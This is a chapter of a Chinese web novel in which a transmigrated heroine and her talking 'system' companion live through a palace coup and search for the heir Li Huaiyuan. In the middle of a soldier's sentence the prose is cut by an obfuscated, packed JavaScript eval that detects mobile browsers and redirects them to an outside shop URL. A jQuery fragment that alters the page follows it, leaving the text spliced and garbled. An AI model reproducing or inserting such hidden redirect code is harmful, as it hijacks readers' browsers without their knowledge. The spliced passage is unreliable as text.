我急忙将皇宫里的事和盘托出。
仿佛是为了验证我的话,只见话音未落,相王的一名近侍突然指着皇宫的方向道:“王爷,您看!”
如我所言,那座高耸的殿宇几乎在一瞬间就燃至顶层屋檐,火光冲天,照亮了大半个上京城。
此时相王已从秣临县探查完毕返程,快走到淮水一带,他的驻军就在前方。
皇后真是算的好准……
相王沉着脸思索片刻,而后一夹马腹,边扬鞭边朝身边的一个侍卫道:
“拿本王手令,你同郑将军于三刻之后带右翼军,沿官道往城南方向去,到了城楼下只管说是接陛下口谕进城,守城将领若不放行,断不可起冲突,候在城墙下即可。”
这应当是要造成上当的假象,想先稳住皇后,以免她轻举妄动。
又听他朝另一人道:“即刻前往大营集结左翼军和中翼军,绕道北城门护城河外,本王先走一步开路。”
兵分两路,我跟着相王一行人往北边走。行至方才林子口的驿馆时,被门口的灯笼一晃,相王突然转头看向我。
打量了片刻才道:“你是怀远身边的那个丫头?”
虽然不知他为何莫名其妙地问起这个,我还是毫不犹豫地点了头。
相王松了口气,笑道:“难怪眼熟,你穿着小厮的衣裳本王差点没认出来。”说罢一勒缰绳,抬手让侍卫雇了辆马车,又问驿仆要了身干净的衣裳。
我坐在马车里快速地更换衣物,系统在一边嘀嘀咕咕:“相王怎么凭白对一个下人这么好?难道是看上你了?”
我懒得搭理它,手脚并用地换下黏在身上湿哒哒的衣物,任他是谁,管他什么目的,我只知道冰天寒地里穿着能掐出水的湿衣简直要人命,头疼欲裂,骨头像是被针扎了一般。
马车飞快地往北跑,震得我有些眼晕,这时外面传来一声爽朗的笑声:“你这小姑娘,能吃苦,有大义,也够幸运。”
我心道,这都什么时候了,还有心思评价别人幸运不幸运!就算是泰山崩于前而面不改色也不用这么具象化吧……
又一想,自己穿进这本破书里受了十八年的磨难,究竟算哪门子的幸运。
相王接着道:“凌安王与王妃皆非俗人,自然不会因你身份而为难你,此事一毕,你也算是苦尽甘来了。”
凌安王?什么意思?
酒壶里的酒有些凉了,但我还是灌了几口,此刻一听这话,只觉得自己大概是醉了,否则他说的话我怎么听得云里雾里的。
系统却一副“懂了懂了”的模样,看着我小声道:“哈哈,是不是李怀远想娶你啦?怎么这事儿相王都知道了。”
“噗!”一口酒没咽下去,吐了一屏幕,吓得我赶紧拿袖子擦拭,生怕这烈酒把系统的脑子烧坏了。
方才换了件干净保暖的丝绵複衣,又饮了酒,连着跑了几里路,此时靠在软茵厚垫的车壁上只觉得眼皮打架,昏昏欲睡。
想着想着,还真就这么睡着了,尽管一路颠簸,但我这一觉却约莫睡了有多半个时辰。
醒来时,只觉得眼晕脑胀,分不清东南西北。
约莫过了半刻,思绪才渐渐回笼。突然意识到这短短半日发生了什么的时候,我猛地一骨碌拾起身来,“咚”一下撞在车壁上。
马车外似乎有人听到响动,拱手问道:“姑娘可是醒了?”
我掀开帘子一看,原来是已经到了宣德门外,眼前这些军卫并不是方才跟随在相王身边的那几个,我不敢贸然出声询问。
只轻轻地“嗯”了一声。
隔着宫墙远远望去,数仗高的火光照亮了整个皇宫,那座高大的殿宇被烧得连檐角瓦片都看不清了,只听数道兵戈碰撞声齐发,宫内杀声四起。
关于里面是何时刀兵相见的,相王和左中翼军又是如何渡的护城河,此时又都去了哪里,这些事,都让我一头雾水。
一个校尉正在巷子里来回踱步,显然是无聊到了极致,似乎看出了我满脸写着疑惑,忙不迭走到车辕跟前,主动开口解释。
“王爷半个时辰前已携大军进宫救驾了,命我等在此护卫姑娘,姑娘放心,此处十分隐秘,绝对不会有性命之忧。”
我松了口气,这才细细打量起周遭环境,这是宣德门外的一处深巷,看样子是废弃了的染坊旧址,离中心坊市较远,鲜有人烟,确实是个藏匿的好地方。
“校尉大哥怎么称呼?”我问。
那人一摸后脑勺,心直口快憨笑道:“我啊?周广郎,你叫我周大哥就行。”
军中人素来没那么多讲究,周广郎在路边找了块石头搬到马车跟前,一屁股坐在上面,又掏出腰间别着的酒袋仰头喝了几口驱寒。
听着远处惊心动魄的厮杀声,我心绪一动,下意识问道:“周大哥可知凌安王世子如何了?”
他动作一顿,实话道:“我等随王爷到达北城门时,里面就已经动起手来了,具体是什么情况就不得而知了。”
已经动起手了?
会不会是皇后察觉到相王没有上钩,干脆一不做二不休,直接令人杀进蓬莱殿了?
自古成王败寇,她既然不能用阴谋让相王背负谋逆的罪名,那就明着来,将其赶尽杀绝,天下重生,只要真正掌了权,到时候还不是她说什么,真相就是什么。
指鹿为马,以黑为白,自古在朝堂上就不是什么稀奇事。
那她又是几时开始逼宫的?
从我酉时离开到相王入宫救驾,这当中足足四五个时辰的时间,面对皇后一党的怀化军和忠武军,神策卫双拳难敌四手,相王不到,李怀远又能扛得了多久?
耳边一阵嗡鸣,强烈的不安涌上心头,我此时没有精力去分想自己为何会如此担忧李怀远,只满心盼着神佛能庇佑他不要出事才好。
见我唇角止不住有些发抖,周广郎忙安慰道:“嗐,世子剑法出神,威武过人,肯定不会有什么事的。”
“再说他打不过还能跑不过吗?左右两条腿长在他自己身上,是不是?”
说完我们俩都沉默了,他的腿是长在自己身上没错,但有忠义二字,一字一条腿地将他拖着,他又能跑到哪里去。
我一不会带兵二不会用刀,这个关口也确实帮不上什么忙,只能干坐在此处,尽力地稳住心神,让自己不要太过慌乱。
于是想了想别的事,微微欠身道:“周大哥可否告知,方才我们是如何进的北城门?”
隔着一条护城河,泱泱大军总不能是飞进来的吧。
“这个嘛。”提起此事,周广郎眼神一亮,满心满眼都是崇敬之色:“自然是靠我们王爷运筹帷幄,手眼通天,料定那守城将领不是皇后的人,趁其摇摆不定,便软硬兼施,成功说服他降下了悬索桥。”
“……”口才这么好合该去说书。
又他神神秘秘道:“姑娘,偷偷告诉你,我们王爷是开过天眼的,所以才有那洞察人心的本领,否则他如何一听那将领的名字,就立即断定此人还未被皇后收买……哦对了,此事你千万不要往外说。”
“……”开天眼个鬼啊,你们王爷手上拿着一份皇后党的官员名单,连同我抄写的行贿账册李怀远一并交给他了,谁敌谁友,谁是墙头草,他自然了然于胸了。
周广郎见我一点没有捧场的意思,只当是我不信,于是为了印证自己的结论,开始不停地寻找论据。
一会儿讲到相王领兵大杀四方,平叛西北四诸侯国,一会儿又讲他是如何巧然化解前堂尔虞我诈,甚至讲到了王府众妾室的侍寝安排有多合理。
再讲下去,我真是生怕自己听到什么不该听的,于是连忙制止。不过被他这么一打岔,我心情倒是放松了不少,等待也就显得不那么难捱。
过了不知多久,忽然从宣德门快速闪出个身影,一人一马直冲冲朝我们的方向奔来。
周广郎脸色一变,“噌”地站直了身子,边从剑鞘拔剑边给其他几人递眼色,其余人朝他点点头,迅速在附近埋伏起来。
我躲在马车里连呼吸声都放慢了几拍,只听得马蹄声越来越近,又听得“哎呀”一声,有人一拍大腿,随即将利剑插回鞘中。
“魏小儿,是你啊!”周广郎闻言大笑两声,又转身朝马车方向道:“姑娘莫怕,是自己人。”
那名姓魏的军中士兵拱了拱手,“周校尉,传王爷传口谕,城南及京街各处叛军已除,你先护送沈姑娘回世子府
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311201|150881||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
周广郎一喜:“可是殿下将局势稳住了?”
“正是。谋逆者尽数被缉拿,城内各处也都安排了禁军守卫,现在就差肃清余障、安抚无辜波及的民众了。”
“好好好,太好了。”周广郎双手一击,高兴又骄傲地看我道:“我就说我们王爷开过天眼,无所不能吧。”
我哪儿还有心思管这个,一见着那魏士兵脸上身上全是血痕,也不知是谁的,一下子心就提到了嗓子眼。
试探着问:“敢问长官,相王与世子可都安好?”
他道:“王爷有天人护佑,自是无碍。”我正要抬嘴说那世子呢,便见他犹豫着摇头:“战场混乱,世子我倒不曾见过。”
呼吸倏地一颤,我扶着车辕跳了下来,看向周广郎不好意思道:
“周大哥,世子既不在,回了世子府也是乱糟糟地群龙无首,不如您带我一齐进宫吧,兴许还能帮上几分薄忙。”
周广郎一听,先是略略惊讶地张了张口,仿佛不太理解一介弱女子跑到那尸横遍野的地方做什么,复又一喜。
只因他今日未能大显身手本就憋得慌,此时再不能处理余孽以泄往日之愤,那殿下平日里被皇后处处压制的那一肚子气不就白受了吗!
故而听到我要进宫的请求,他也是略一思索,就直接答应了下来。
一进宣德门,令人作呕的血腥味便越发地重了起来,满满当当地塞入口鼻,不远处的殿宇火势渐若,曾经的雕梁画栋如今一并成了焦黑的木炭,滚滚浓烟直往外冒。
一路上看见不少医官提着医箱来回奔走,受伤的侍卫与宫人挤在廊下,有人靠在柱子上鬼哭狼嚎。
先前被押送到凤栖宫的重臣家眷们,早已不复高贵艳丽,皆是灰头土脸的,站在望仙门等着家主来接,一个两个哭声震天响。
我急色匆匆地越过他们,脚下的步子越迈越快,心中凝起的一团云雾怎么都散不开来,只想赶紧到蓬莱殿去寻李怀远。
至于寻他干什么,寻到之后又要说些什么,我从来都没想过。
周广郎正跟在我身后喊着:“急什么,你慢些走。”正说着一眼瞥见几尺之外的相王,又急忙走过去行拱手礼。
“殿下。”
相王微微颔首,正欲说什么,一抬头看见我也在此处,忽地脸色微变:“不是叫你送今禾姑娘回世子府吗?”
我赶在周广郎请罪之前,上前一步道:“是民女自己逼着周校尉带我进来的,王爷若要责罚就请……”
“行了。”相王语气淡淡道:“也不是什么大事,来了就来了。”
说着叫了一声:“周广郎。”
“末将在。”
“此事牵扯众多,郑将军怕是忙不过来,你去协他问审,将功补过吧。”
周广郎闻言差点没兴奋到跳起来,正要转身,只听相王又道:“哦对了,待诸事了毕,只管到凌安王世子府拿赏银就是。”
周广郎不解,丈二的和尚摸不着头脑:“殿下此话何解?属下这……到底是有功还是有罪啊?”
相王难得露出个笑容来,负着手“咳”了一声,意有所指地看了我一眼:“护今禾姑娘无虞,在世子那里,你自然是有功的,而且还是一等功。”
“……”我眼角一抽。
系统蹲在我肩头哈哈大笑:“哈哈哈,磕CP这种事,果然不管现代还是古代,君王还是牛马,人人都很热衷啊。”
那头周广郎憨憨笑道:“殿下此话当真?”
“你何时见过本王胡扯?”
周广郎抱拳说了句“殿下恕罪”,便兴高采烈一溜烟跑了。
接着又来了几波人杂七杂八地汇报各处进程,待他们全得了指示离去,我这才有机会开口向相王打听李怀远的下落。
“王爷可知世子现在何处?”
相王握着近侍递来的折子一顿,想了想道:“怀远他……”
我心一提。
只是他话音还未落,背后突然传来一道清冽又熟悉的声音。
那声音跨过几里寒风,盖过近在咫尺的相王声音,越过宫墙内外所有喧嚷嘈杂的各路音色,直击我耳。
“沈今禾!”有人叫道。